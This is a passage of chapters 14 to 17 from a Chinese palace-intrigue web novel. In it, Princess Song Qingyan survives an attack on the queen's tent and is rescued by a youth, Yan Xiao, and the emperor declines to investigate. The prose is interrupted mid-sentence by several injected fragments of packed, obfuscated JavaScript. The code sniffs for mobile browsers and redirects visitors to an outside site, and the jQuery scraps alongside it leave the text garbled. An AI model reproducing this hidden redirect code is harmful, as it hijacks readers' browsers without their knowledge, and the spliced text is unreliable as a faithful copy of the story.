她简单地洗漱后,宋清晏将桌案上的旧籍整理好,枕着母后的软榻迷迷糊糊睡了过去。 约莫一炷香的时间,一阵尖锐的喊叫声将宋清晏惊醒。 她甩开身上的氅衣,见帐外人影嘈杂,火光四起。 夜色中,周围乱成一团,宫人惊恐的尖叫声同刀剑的碰撞嘶鸣声不绝于耳。宋清晏拨开人群朝远处看去,见禁卫军高声呼喊着护驾,刀光剑影中人群齐齐朝着主帐所在地方向涌去。 两侧临近的营帐已经被火光笼罩,倚梅她们正站在对面焦急地向她挥手。待她过去后,倚梅将准备她的佩剑递了过去。 “殿下,这会儿人都往圣上那边去了,奴婢们也护送殿下过去吧,这里不安全!” 宋清晏看了看周围,夜色如墨,一时间辨认不清这群刺客是从哪个山头一路下来,埋伏于附近的。 当下主营那边是何情况尚未可知,不过幸好母后和弟弟今夜都不在这里。 她点点头,正欲动身,猛然间想起些什么, “那天仙呢?” 周围声音混杂,倚梅没太听清,“殿下说谁?” “今早河里捞上来的人呢?” “糟了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋清晏找准空档拼了命地向前跑,握剑柄的手紧了又紧,眼下锦衣卫和禁卫军都去了主帐,凭她身边的这些亲卫根本打不过这么多训练有素的黑衣人。 身后长刀挥砍的声音近在咫尺,她束发的带子断了,发丝也被利刃割断飘散而下。 宋清晏喉咙间泛起腥意,她不敢回头拼命地向前跑,企图寻找突破口。 可不远处突然冒出来的黑影根本没给她太多思考的机会,眼神如鹰般死死将她锁定,提刀朝她迅速冲来。 恍惚间她看见黑衣人身上带着什么东西,在火光的映照下反射出一抹亮。 宋清晏提剑一挡,单薄的身影找准时机迅速闪身,饶是她和这些人相比再矮小灵活,终究还是被黑衣人这一刀的力量击得踉跄后退,跌坐在地上。 左臂上一热,宋清晏下意识地侧首,见鲜红地血液逐渐透过裂开的衣服殷了出来,身体正在控制不住地哆嗦颤抖。 黑衣人手中的长刀再次朝她落下。 电光火石间,突然听见箭矢划破风声刺穿胸膛的闷响。 随即有股力量将宋清晏向上一捞,右臂被死死地钳住,拽着她继续奔跑。 “别回头!” 一道介于成年人与少年之间低沉的声音响起,宋清晏回过神入目间见那人高挺的鼻梁一侧一枚清晰可见的红痣。 正是今早掉进河里的那位天仙。 14.第 14 章 身后杂乱的脚步声阵阵,亲卫宫人接连倒下,受伤的马匹在不断撕鸣。 宋清晏跟着他,拼了命的向前跑。 待他们冲出营地外时,崎岖不平的路耗光了宋清晏的力气,胸腔间泛起阵阵恶心。 箭矢划破夜空的声音由远及近,身后火光四起,远处的烽火台上显然已经被刺客占据。 宋清晏下意识地想继续跑,两条腿却僵硬的没了力气。 “怎么了?” 他回眸看她,却在看见她双眼瞳孔时面上露出些许惊讶之色。 宋清晏抖得说不出话来,根本无暇顾忌其他,一字一字道:“我,我跑不动了......” 她咬着牙,强撑着正欲站起来,身体突然腾空而后重重地跌到一人宽阔的背上。 “抓紧了!” 宋清晏周身还在控制不住地发抖,似乎是身下的人有所察觉,双臂紧了紧。 呼啸的寒风如利刃般自脸颊刮过,不知跑了多久,她感觉到身下的人步子变慢,直到停了下来。 宋清晏脸已经被冻得僵硬了,她吃力地睁开眼,借着月光见她们面前横着一条波光粼粼的河。 她看出他在犹豫,但他们没有退路。 不知过了多久,昏昏沉沉中她感觉到周身如坠冰窟。 他还是背着她试探着在河水中艰难前行着,湿透的衣裳紧紧裹在他身上,少年人的脊背宽阔硬朗硌得生疼,没一点暖意。 朦胧中宋清晏攥紧了他的衣角,缩了又缩。 宋清晏醒来时,天光已然大亮,隐约间听到外面淅淅沥沥的雨声。 她挣扎着起身,却发觉周身如同散架一般哪哪都疼,甚至左臂麻木像是没了知觉一般。 艰难地扭头打量周围,发觉她孤身一人躺在山洞里。 昨晚似乎那个怕水的小公子背着她渡了河,他去哪了?他有没有受伤? 山洞口透着风,宋清晏又冷又疼头又晕。 她不想死在这里。 头晕目眩之际,宋清晏脑子开始不受控制地胡思乱想。 她想起从前常听宫里的人说起,父皇母后年少夫妻恩爱非凡。 可自她记事起,父皇很少来母后的宫殿。 他总是很忙,忙着处理朝政、忙着同朝中大臣商谈国事、忙着出席各种祭祀典礼、忙着将为数不多的闲散时光分给后宫其他的几位娘娘。 少不知事时她也曾问过父皇,是不是不喜欢阿娘和鸢鸢了。 但父皇却说,在他心里最重要的就是她们母女。 他说鸢鸢长大后就懂了,世事难料人心复杂,爹爹虽是天子却也有太多身不由己。 渐渐地,她似乎也明白了其中的道理。 宫中局势波云诡谲,前朝后宫旦夕祸福往往也只在一夕间。 中宫这些年过得战战兢兢,阿娘的辛苦她都看在眼里。 阿娘不仅仅是一朝皇后,是她和弟弟的生母、是皇帝青梅竹马的发妻、可也是郑家的爱女。 无论再怎么谨小慎微,独善其身,在朝廷中人看来,中宫已然掌握在郑家人手里。 昨夜,在第一波刺客进入营帐时便已经发现皇帝不在主账那边。禁卫军在锦衣卫的引路下前去莲花台护驾,可西营这边却仍有大批刺客涌入。 目标明确,直捣皇后所在的营帐。 他们是冲着她阿娘来的。只是误打误撞遇见了宿在皇后营帐的她。 是谁要害她阿娘...... 背后指使之人又是谁? 崔家吗? 崔氏一族财力雄厚,精心培养这么多训练有素的死士不是难事 。 可崔家正得朝廷倚重,现在不是冒这等风险的时候。 崔家嫡女宣妃多年来和中宫过不去,倒也不曾闹出什么大动静,自幼娇宠的世家闺秀不可能谋划出这般惊险疯狂的行刺计划。 那还有谁? 太后吗? 这几年太后一直意图将何氏一族的适龄女儿送进宫,前朝后宫屡有施加压力之意,无奈每次都被父皇寻借口推辞。 难不成恼羞成怒了,想要借着围猎的机会给帝后一个教训。 这样一想,她倒觉得像是太后能干出来的事。 迷迷糊糊中,她听见枯叶被踩踏地咯吱声。 昨晚那少年人抱着些枯树枝回来了,淡淡地瞥了她一眼后,自顾自地开始尝试生火取暖。 宋清晏喉咙间又干又疼,张了张嘴,没有说出话来。 少年似乎看出她的窘迫,从山洞口的叶片上收了几滴露水,递到她嘴边去。 宋清晏视线模糊不清,看着眼前的人影哑声问道,“你可有受伤?” 那人摇了摇头道,“没有。” “你不怕水了?” 这次,他没有说话。 “外面下雨了,”宋清晏听着淅淅沥沥的雨声,她想昨夜营帐那场火应当已经被平息下来。 老天眷顾,若无这场雨,营帐那边伴着东南风想必火势会更重一些。 宋清晏费力地想起身,却被他打断。 “西边山脚有几路人马,尚不清楚是谁的人,现下不可贸然前行。” 他抬眸看向她,目光下移一点点落在她身上,“你左臂的伤口发炎了,正在起高热,我们只能在这儿稍作等待。” 宋清晏道:“多谢你搭救,这群刺客的目标不是我,待他们找准了方向应该无暇顾及我们。” 说着,她挣扎着从腰间扯出半个腰牌递给面前的人。 “我还想请你帮忙,” 她换了一口气,缓缓道:“这些刺客训练有素,目标明确,是奔着皇后娘娘的营帐来的。” 少年抬眼看她,摇曳的火光映衬的他眉眼浓烈,神情却是一如既往的寡漠冷淡。 “这是昨晚,我从那群黑衣人中为首的那一个身上扯下来的半个腰牌。我没办法离开,但你还可以......所以我想劳烦你帮我,帮我回去传消息给禁卫军...告诉他们中宫有难......” 她深知时机一旦错过,这起有规划的刺杀就会定义成寻常的一个行刺案,根本不会有人将这次的事和中宫联系在一起。。 阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14933019|160353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘多年隐忍,不能总是这么悄无声息地忍让过去。 素衣少年自顾自地拢着火,没有做声。 宋清晏觉得自己的左臂如火烧一般,又麻又疼,她小心翼翼地起身,倚靠在山洞的一侧。 这小幅度地挣扎却像是用光了她全部的力气,她仰着头艰难地喘息着。 半晌后,宋清晏睁开看向眼前的人,气若游丝道, “何昌言被困于吊网之上时,你没有去救他,反倒趁乱带着所有的猎物离开。说明你不是他的人,也并非真心替他办事。” 素衣少年闻言,拨弄火苗的手顿了一下,仍旧未理会她。 “你不是他的人,却替他办事,想必是有求于他。何昌言突遭变故围猎一甲无望,你知道他不可能再帮你,所以果断弃了他,打算自己去领赏。只是...咳咳......” 只是没想到他的计划,被埋伏在那,准备教训何昌言的倚梅阴差阳错地突然冒出来打乱了。 宋清晏剧烈地咳嗽了几声,只觉得五脏六腑如同搅起来般生疼。 她倒吸了好几口凉气,强撑着精神继续道,望向他一字一句认真道,“我乃大梁靖和公主宋清晏,我阿娘是当朝皇后,昨夜的刺客是冲着皇后营帐来的...烦请你帮我送信到御前,以便及时查清背后谋划之人。我欠你的人情,自当偿还,待我回去你所求之事我定会求父皇让你得偿所愿。” 寒风呼啸着从洞口灌进来,发出凄厉的声响。石壁上,水滴不断地落下,“滴答滴答”的声音在空旷的山洞里回荡。 跳跃的火苗驱散了些许寒意,也映照着相对而坐的少年少女面庞忽明忽暗。 少女面色苍白,额头上豆大的汗珠不断滚落,她的左臂无力地垂着,衣袖被鲜血浸透,殷红的血还在缓缓渗出,滴落在地面上,洇出一片暗色。 但她看向他的眼神却坚定而倔强,毫不畏惧地直视着对面的少年,即使身处险境如此狼狈之时,她也依旧微微仰着头,神色中带着几分自己都不曾察觉的傲气。 素衣少年坐在篝火的另一侧,火光在他脸上跳跃,勾勒出他冷峻的轮廓。 他的目光同样紧紧地盯着宋清晏,他在她的眼中看见了自己的两个倒影。 昨夜于营帐逃命时,不经意间的回头,他便对上的是这样的一双眼睛。 一目重瞳,是京城人常说起的带着帝王相降生的公主。 思索半晌后,他朝宋清晏的方向点了点头。 “那你呢?” 宋清晏扯出一抹笑,“皇室缺少一个公主无足轻重,但中宫只能有一个皇后。” 少年接过腰牌,闭口不语,目光自她眼中逐渐落在她受伤的左臂上。 奔波了一整夜,宋清晏觉得自己累极了,甚至连支撑意识的力气都耗尽了。 她轻声咳了几下,疲倦道:“说起来,还不知道你叫什么名字。” 朦胧中,她似乎看见面前人唇瓣微动像是低声说了什么。 周身的疲倦和高热的眩晕感叫她无法再支撑起双眼,沉沉地睡了过去,最终她也没能听清他的名字。 15.第 15 章 宋清晏睁开眼时,折竹正一把鼻涕一把泪的守在她面前摇晃着她。 见她醒来,折竹哭声更甚,“殿下,你终于醒了!” 宋清晏在折竹的搀扶下起身,厚重的氅衣将她包裹的严严实实。她下意识地看向左臂,只见伤口处被几段洗得略有些发白的青色面料布条包裹着。 守在门口的禁卫军首领莫明远闻声下马,行礼道:“臣等失职,叫公主殿下受惊了!” 见宋清晏平安无事,周围人都如释重负地松了一口气。 她双腿依旧在发软, 嗓子微干,环顾四周道:“刺客可抓到了,是何人派来的?为何行刺我母后?” 莫明远道:“回公主,刺客昨夜已落荒而逃,余下的几个活口已经服毒自尽,御前有汪指挥使坐镇,我等先行前来接应公主。” “服毒自尽?” 昨夜她观察这群人训练有素,猜想此事必然十分棘手,难以处理。所以当她在那群黑衣人中的确认出头目时,不顾一切地扯出了他身上的腰牌。 这腰牌质地古朴,上面雕刻着精致而隐晦的花纹,绝非普通刺客所有。 宋清晏心中涌起一股深深的不安,她深知,这看似简单的刺杀背后,必定隐藏着巨大的阴谋。 在这深宫里,妃嫔们为了争宠,向来不择手段,彼此之间的争斗从未停歇。 那些平日里看似温婉和善的女子,在权力和欲望的驱使下,什么事情都做得出来。 而太后,表面上慈悲为怀,吃斋念佛,可这些年随着何氏一族在朝中的势力日益壮大,对前朝后宫的掌控也越发深入,难保太后不会为了巩固自己的地位,或是达成某些不可告人的目的,而暗中策划这一切。 宋清晏心急如焚,没有人比她更清楚此事的严重性。若不彻查,中宫的安危将始终悬于一线。 她抬起头看向莫明远,问道:“你们是如何找到我的?” 莫明远道:“属下带着游隼和猎犬在山中寻了一天一夜,方才寻到公主踪迹。” 宋清晏又问,“事发之后,你可有见过一个素衣的少年人返回营帐报信?” 莫明远,“未曾。” 宋清晏心口一窒,随即道:“快带我回去,我要见父皇。” 围猎出现刺客,宋澜没有太多举动,亦是没有大张旗鼓地去彻查。 精心准备的皇家围猎被打乱,众人猜测这是朝中有人想故意敲打这位年轻的皇帝,削一削他的威风。 宋清晏被送回营地的路上,通过折竹和莫明远得知了她离开的这两日,营地发生的事。 迈入主账时,她看见她父皇坐在书案前里,情憔悴沉郁。 来的路上所有疑问,焦躁不安,在看见自己父皇的那一刻消失殆尽。 宋清晏看见他直挺的背松散下来,像是失去了斗志和力气,和出发之前判若两人。 宋澜看着她一步步走进,朝她伸过手,将宋清晏搂在怀里,口中念念有词道,“回来就好,平安回来就好。” 宋清晏在宋澜的怀抱中闷声道:“爹爹是不是知道,此次行刺并非偶然,而是有人精心策划而为之?” 话音刚落,宋清晏感觉到宋澜抱着她的手臂似乎僵硬了一瞬。 她从父皇怀中挣脱,眼中满是焦急与担忧:“父皇既知此事绝非偶然,刺客们目标明确,直指母后,背后必定有主谋在暗中操控。事关母后安危,父皇为何不彻查到底呢?” 宋澜坐在营帐中的主位上,脸色平静,眼神却透着几分复杂的意味。 他静静地她,沉默了片刻后,才缓缓开口:“不过是几个不知死活的刺客罢了,朕已经下令将他们一网打尽,同你母后何干。” 宋清晏猛地抬起头,眼中满是震惊与疑惑:“如此重大的刺杀事件,怎么能如此草率地处理?当日父皇可知,若非是我宿在母后的营帐里,后果不堪设想。” 宋澜看着眼前倔强的女儿,微微皱了皱眉头,语气中带着一丝不容置疑的威严:“朕意已决,你不必再多言。这些刺客或许只是受了些江湖草寇的指使,想趁机捞些好处,并无复杂背景。朕身为一国之君,还有诸多朝政大事需要处理,不能在这等小事上浪费过多精力。” 闻言,宋清晏满眼的疑惑与不甘,她不明白一向英明果断的父皇为何会如此轻视这件事。 在她看来,这绝对不是一件简单的行刺事件,背后的阴谋如同隐藏在黑暗中的巨兽,随时可能再次发动攻击。 她安住心神,以为是宋澜没有确切的证据指向,冒然发难恐惹得朝野上下惶恐不安,忙道,“儿臣当日抢到刺客的腰牌,顺着这个线索调查下去,一定能查明真相!只是腰牌现下不在我身边,待我......” 她话尚未说完,便见她父皇从口袋中拿出一块和当日她交给那素衣少年一模一样的腰牌,她想要传递的消息想来那少年已经带到了。 她不解地看着自己的父皇,见他靠在椅背上,深深地叹了口气,眼中满是疲惫和无奈。 “鸢鸢此事并非你想象的那么简单,朝堂之上,各方势力错综复杂,相互制衡。若真要彻查此事,必定会牵扯到后宫中的某些势力,而这些势力又与朝堂上的大臣们有着千丝万缕的联系。一旦追查下去,很可能会引发一场朝堂动荡,甚至危及社稷安稳。” 宋清晏心中微微一震,但她还是有些不解:“可是父皇,难道就任由母后身处险境吗?我们难道因为害怕朝堂动荡,就对这件事视而不见吗?” 宋澜看向她,“你还年轻,很多事情还不懂。身为一国之君,朕不能只考虑后宫之事,更要以天下为重。在这看似繁华的皇宫背后,隐藏着太多的无奈和妥协。有些时候,为了大局的稳定,不得不做出一些取舍。” 宋清晏合眸闭住双眼,按住自己那颗不甘的心。 她已经不是七八岁的小孩儿,不能再像从前那般将所有事情看得非黑即白。 在这深宫里,权力的斗争从未停止过,为君主的每一个决定都可能影响到整个国家的命运。 “儿臣明白了。” “夜深了,儿臣先行去见过母后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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廷杖一下又一下地落下,沉闷的声响在空旷的院子里回荡,每一下都像是重锤砸在人心上。 很快鲜血染红了衣物,可他紧攥着拳头,一声不吭。 豆大的汗珠从额头滚落,和着地上的尘土,他的面容因疼痛而微微扭曲,但眼神中透着坚定,始终不肯低头认错。 汪擎见状,呵退了左右,抄起廷杖朝他身上打下去,直到他的后背血迹斑斑,衣衫被打得破碎不堪。 汪擎似是力竭,又似是不忍,将廷杖重重地扔在一侧于他身边坐下。 “霄儿啊,朝廷之事没你想的那般简单,你就听我一句劝,不要将自己拘泥于过去,人得向前看啊!” 少年紧咬着牙,脸色因疼痛而煞白,额头上豆大的汗珠滚落。 却依旧执拗道:“我爹,一生磊落忠君,他不是罪人。” 16.第 16 章 汪擎看着他倔强的模样,眼眶泛红,又急又心疼:“我知道这么多年你一直心有不甘?可这案子是圣上定的,你质疑案子,就是质疑圣上!雷霆雨露皆是君恩,圣上的决定,容不得你置喙!” 少年抬起头,双眼猩红:“若真是君恩,为何不能还我爹一个公道?他被奸臣陷害,那些人伪造证据,颠倒黑白,难道就该逍遥法外?” “那你想如何!” 汪擎重重地叹了口气,眼眶微微湿润,声音也柔和了几分:“孩子,朝堂之上,波谲云诡,岂是你能看透的?当年那些陷害你父亲的人,如今依旧位高权重,世家传承百年,树大根深。圣上虽有心整治,朝夕间却也依旧奈何不了他们。今日你冒然前去只有死路一条,当年你爹娘临终前千般算计,就是想为你将来谋个安稳。若你出了事,来日我到那九泉之下,有何脸面见你爹娘。” 少年握紧了拳头,指甲深深嵌入掌心,哽咽道:“我只想要一个公道,哪怕粉身碎骨,我也在所不惜。” 汪擎无奈地闭上双眼,沉默良久,缓缓开口:“有少年意气是好事,可也要看清局势!” “今日的事你做得很好,没有让第三个人知道你遇见了靖和公主。朝野之上暗流涌动,以太后为首的何家,三朝元老的崔家、还有皇后背后的郑家、四方都在相互试探提防着。” 汪擎背过身,他受圣上提拔执掌北镇抚司多年,一路走来他也将皇帝的诸多不易看在眼里。 他非局中人都难免觉得世道难行,更何况是棋局中深陷之人。 “圣上即便知晓背后有人刻意谋划,恐对中宫不利,再不能保证一举攻破之前不能大张旗鼓地彻查。为君主的,执掌的棋局是整个朝廷,整个天下,为保棋局正常运行,有些棋子不得不弃。” 汪擎长叹了一口气,道:“如今你也见了,圣上和皇后娘娘受此侮辱都只能隐忍不发,你的那些冤屈又算得了什么!” 严霄轻阖双眼,思绪回到那夜逃命时躲藏的山洞中。 隔着火光,他对上了一双同样执拗的眼。 她烧得迷迷糊糊,却强撑着精神求他带消息回去皇帝,中宫有难。 她说,错过此良机,今夜这桩行刺案就会被定义成一场偶然事故,不会有人将此事同中宫联系在一起。 她还说,她阿娘隐忍多年,不能总是这么悄无声息地叫她阿娘受委屈。 有那么一瞬间,严霄想到了他自己。 后来,兴许她是怕他不愿意冒这个风险,开始推测他的行为举止,猜测他心中亦是有所求。 严霄认真地打量着她,她分明看着小他几岁,寻常姑娘家娇养在闺阁生怕风吹雨淋的年岁,她却临危不乱头脑清醒地开始同他权衡利弊。 临了了,他担心她孤身一人留在这里。 她却不以为意,皇宫里从不缺少公主,可中宫只能有一个郑姓的皇后。 严霄趴在地上,血迹顺着身下的草地蔓延开来,眼前的一切也开始逐渐变得模糊不清。 不知道那夜山洞里的公主如何了? 她若是知道,自己拿性命争取来的公道就这么轻飘飘地揭过了,会不会觉得伤心? 两个身份天差地别的人,不过一日时间,竟生出了几分同病相怜的滋味。 严霄突然笑了,怜这个字,当真令人惋惜。 * 出了皇帝营帐后,宋清晏漫无目的地晃到了西营。 借着营帐内的亮光,她看见她阿娘坐在书案前的倒影,像是抬手在和身边的女官聊天。 宋清晏吸了吸鼻子,企图将心口泛起的酸涩压下去。 她站在这儿看到母亲安然无恙,悬着的心才落了地,甚至有些庆幸,庆幸那日宿在西营的人是她。 可一想到母后遭遇这般危险,又得知父皇不能大张旗鼓地调查,宋清晏委屈的泪水便在眼眶里打转。 她背过身,趁旁人不注意,她悄悄躲到角落里抹眼泪。 出来换水的女官眼尖,很快就发现了她的存在,只一眼看出她的异样。 女官轻轻走到宋清晏身边,轻声问:“公主您这是怎么了?” 宋清晏三两下抹了抹脸,“没事,走快了眼里进沙子了。” 女官笑了笑,随即引着她往帐子里走,“娘娘等您多时了。” 营帐门刚一掀开,暖气便扑面而来,郑皇后抬眼看向自己的女儿。 对视的瞬间,便猜出她心中所想。 郑皇后笑意盈盈,“这么大的人了,还哭鼻子呢?” 闻言,宋清晏似是再也忍不住了般扑到郑皇后怀里。 她紧紧地揽着郑皇后的腰,带着哭腔说:“母后,您被人行刺,那么危险,就这么算了,太委屈了。” 郑皇后轻轻将女儿搂进怀里,抚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946743|160353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸着她的头发说:“傻孩子,你父皇有他的难处。世家在朝中根基深厚,若真的彻查,朝堂必然大乱。天下百姓仰仗你父皇维持太平,他不能因为咱们的私怨,让天下陷入动荡。” 宋清晏嘟着嘴,不满地说:“可您是我的母后啊,您受了这么大的委屈,我不甘心。” 郑皇后微笑着,目光坚定又柔和:“我知道你心疼我,可身为皇家之人,就得有这份担当。个人的委屈与天下的安稳相比,实在是不值一提。你看这围猎场,猎物有得有失,人生也是如此。只要国家昌盛,百姓安居乐业,母后这点委屈又算什么呢?” 宋清晏沉默了良久,随即小声嘟囔道:“母后,我明白的,可还是觉得难过。” 郑皇后轻轻拍着公主的背,安慰道:“既然难过就哭出来,哭完就把这事放下。人生的道路还会遇到很多无奈的事,不是每一次母后都能陪伴在你身边。所以你要记住,要顾全大局。你爹爹,他有太多不得已的苦衷,如果身为家人的我们都不能理解,他该有多难过。” 宋清晏点了点头。 良久后,她似是突然想到什么,从郑皇后怀中起身。 “母后,我此行结识了一个模样特别俊俏的少年,是他救了我。” 郑皇后道:“哦?是哪家的小公子,可要好生感谢人家。” 这话可问住了宋清晏,她当真记不得那夜的少年叫什么名字了。 郑皇后见她这副模样,无奈地伸手点了点她的头。 “你啊,总是这么粗心大意的,连人家姓甚名谁,出自哪家都记不得问一问。” 宋清晏想了想,开口道:“他好像不是世家出身,而且,母后我感觉他似乎不太想告诉别人自己的身世。” 郑皇后点点头,沉思片刻。 “这世间不是所有人都能一出生便拥有美满光彩的人生,有人拼尽全力还要过着东躲西藏的生活。” 郑皇后慈爱地捋了捋宋清晏额前的碎发,“若你有机会再遇见他,当面感谢人家,不要过多插手亦或者打扰别人的生活。” 宋清晏道:“为什么?” “有些人被生活的枷锁禁锢,艰难求生。我们身处衣食无忧的安稳,这本应是能温暖他人的光,却因他们的处境,成了刺痛他们的芒,让他们心生难过。” 郑皇后语重心长道:“许多时候,不打扰便是最好的尊重。” 17.第 17 章 初春的寒意尚未褪去,郊外的柳枝刚刚抽出一丝嫩绿,微风拂过,带着些许湿润的泥土气息。 宋清晏在营帐外的空地放了张竹椅,她仰面倚在那儿,百无聊赖地拨弄着手里的细绳。 一连几日她被母后扣在房里闭门不出,整日喝着苦涩的草药,如今烧退了,伤口也逐渐愈合,就是觉得日子过得愈发无趣了。 半空中飘荡的纸鸢像是奋力想在空中翱翔,只是可惜它只能被禁锢在这方寸间晃啊晃。 倚梅穿过一行禁卫军匆匆而来,俯身凑到宋清晏耳侧。 “殿下,您让我找的人找到了。” 刚吃了午饭宋清晏这会儿困得有些迷迷糊糊,想也不想道:“我让你找的人,找谁了?” 倚梅道:“哎呀,就是您说的那日掉进河里的那个天仙。” 闻言,宋清晏当即睁开眼,坐起身。 “你寻见他了?在哪儿寻见的?” 参与围猎的各个出身不俗,那日她看见他跟在何昌言身后,穿着打扮又十分简朴,猜想他并不是朝中哪家大人的公子。 但周身的气度和出众的相貌,却也不像是一般的家仆小厮。 “殿下您先前猜得不错,他的确不是官员子嗣,奴婢是在锦衣卫那边的营帐里寻见他的。” “锦衣卫?”宋清晏拧眉。 能进锦衣卫的各个都是家世出身不俗,那日的少年虽有些功夫在身,年纪却太小了些。 他这样的年岁,在锦衣卫连打杂的舍人都做不了,怎会跟着圣驾出现在这儿? 倚梅看出她的疑惑,解释道:“奴婢寻了好多人去打听,各方得到的消息都不太一样,只知道他是锦衣卫指挥使汪擎汪大人的养子,名唤严霄。” 这人身份想是一直被遮掩着,倚梅四下打听每个人的描述也都是模棱两可。 有人说他是汪指挥使执行任务时在湖里救下的一个孤儿,也有人说他是被人弃养,送到汪指挥使家门前的。 还有人说汪指挥使当年发妻难产,一尸两命,一直没有续弦。因此收养了这个孩子,多年来视若亲子,父子二人相依为命。 听完倚梅的描述,宋清晏恍惚间想起了昨日夜里她阿娘郑皇后说的话。 “这世间不是所有人都能一出生便拥有美满光彩的人生,有人拼尽全力还要过着颠沛流离的生活。” 他救了她,还帮她将腰牌和消息送到御前。 她欠他一个人情,亦是想知道他替何昌言做事背后的原因,好想办法帮帮他。 宋清晏一时兴起,将昨日郑皇后的嘱咐忘在脑后,拉过倚梅道:“你在哪儿寻见他的,带我过去看看!” 倚梅道:“不好吧,那边都是男人的营帐,这传出去殿下又要挨骂了。” “那还不简单,”宋清晏挑眉,“我们也穿男装过去就好了,被发现了也可以随便编个官员公子的身份。” 倚梅:“......” * 北营营帐的一侧转角处,斑驳的光影在地上交织成一副画。 明暗交错间,宋清晏一身玄色劲装躲藏在树后,青丝挽起用红色的发带高高束起。 她双眸如两泓清泉,澄澈且明亮,目光紧紧盯着前方那道瘦削的背影。 少年穿着一身宽大的灰白的布衣,背对着她,正低头整理着手中的草药,动作缓慢而专注,仿佛周围的一切都与他无关。 倚梅小心翼翼地跟在她身后询问道:“是他吧,殿下。” 宋清晏点了点头,确信自己寻对了地方,也找对了人。 这般出挑的样貌,翻遍整个京城未必寻得出一个胜过他的。 且宋清晏记得他那双眼睛,犹如一汪深不见底的幽潭,表面平静无波,却隐匿着无尽的深邃。 那日隔着火光,她审视着他。 对视的瞬间,她感受到他眼底藏着的重重心事。 他的瞳仁仿若被雾气笼罩,当试图探寻其中的奥秘,却发现那迷雾层层叠叠,根本无法触及潭底。这双眼睛望向世间万物时,都带着一种难以言说的冷淡,和拒人于千里之外的疏离。 她没有见过这样的眼睛,或者说这不是这个年纪的人应当有的一双眼睛。 周边的人逐渐离开了,宋清晏抬脚朝那少年所在的方向走去。 营帐前的人听见细碎的脚步声,敏锐地转身。 他身形清瘦,面上带着病态的苍白。 “阁下前来找哪位兄长?” 宋清晏双手环胸朝他笑道:“找你!” 少年微微皱眉,抬眼目光一寸寸地从她身上打量着,确认自己不认识来人。 宋清晏上前几步,“你不认得我了?” 少年看着她似乎想起了什么,目光停留在她左眼上,像是在确认心中所想。 宋清晏不以为意,在他面前晃了两圈说:“严霄?你是叫严霄吗?那日山洞里我问你名字,可惜当时我脑子晕晕乎乎的没听清。” 闻言,严霄垂下眼眸,继续拨弄着手中的草药,“你找我做什么?” “报恩啊!” 宋清晏道:“自然是报你的救命之恩,当日我便承诺待我有幸回去,自然是要找机会来帮你的。” 少年手中的动作微微一顿,却没有回头,只是淡淡地应了一句:“不必。” 宋清晏皱了皱眉,“为什么?那日围猎你替何昌言办事,又想去御前领赏,不就是有所求吗?你也不要觉得不好意思,靠自己的努力去达到目的,从来也不是什么不光彩的事。因为我你的计划被打乱了,于情于理我应该来帮你。” 她怕他觉得难为情,叽里呱啦说了一堆开解的话,没成想这人看也没看她,端着晒草药的竹篮便要转身离开。 宋清晏快步走到严霄面前,挡住了他的去路,抬头直视着他的眼睛:“你这是什么态度?我好心好意来报答你,你却连正眼都不看我一眼?” 眼前人终于抬起头,目光冷淡而疏离。 他的面容苍白得近乎病态,眼底带着一丝疲惫,仿佛很久没有好好休息过。声音低沉而沙哑,带着一丝嘲讽:“你连自己都帮不了,如何帮我?” 宋清晏觉得自己心中逐渐涌起一股怒火,从小到大她就没见过这么固执的人。 “你这话是什么意思?我堂堂公主,说话算话,你不告诉我你所求之事是什么,怎知我不能帮你?” 他笑一声,像是嘲讽,又像是自嘲,神色中满是疲惫:“公主?皇后围猎遇刺,当今圣上明知背后有人故意为之,仍旧选择将大事化小小事化了。皇后尚且如此,我又如何敢寄希望于你?” 宋清晏脸色瞬间变得苍白,手指紧紧攥住了衣袖。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她明白他言语中的指向着什么,她深吸了一口气,“是,我承认我现在还不够强大,如今朝中群狼环伺,我身为公主却什么也做不了,甚至连母后遇刺的事都无能为力。但正因为如此,我才更不能袖手旁观。” 闻言严霄的目光微微闪动,似乎被少女的话触动了一瞬,但很快又恢复了冷漠:“我说了,不必。” “我今日解决不了这些麻烦,不代表以后也不行。事在人为,我会去努力,直到有能力撼动这时间的诸多不公。而不是像你,只会将自己深陷过去的沼泽,自怨自艾。” 严霄的手指紧紧攥住,指节发白。他的目光中带着一丝复杂的情绪,似乎想要说什么,却又硬生生咽了回去。 宋清晏的眼中闪过一丝失望,但很快又恢复了坚定。 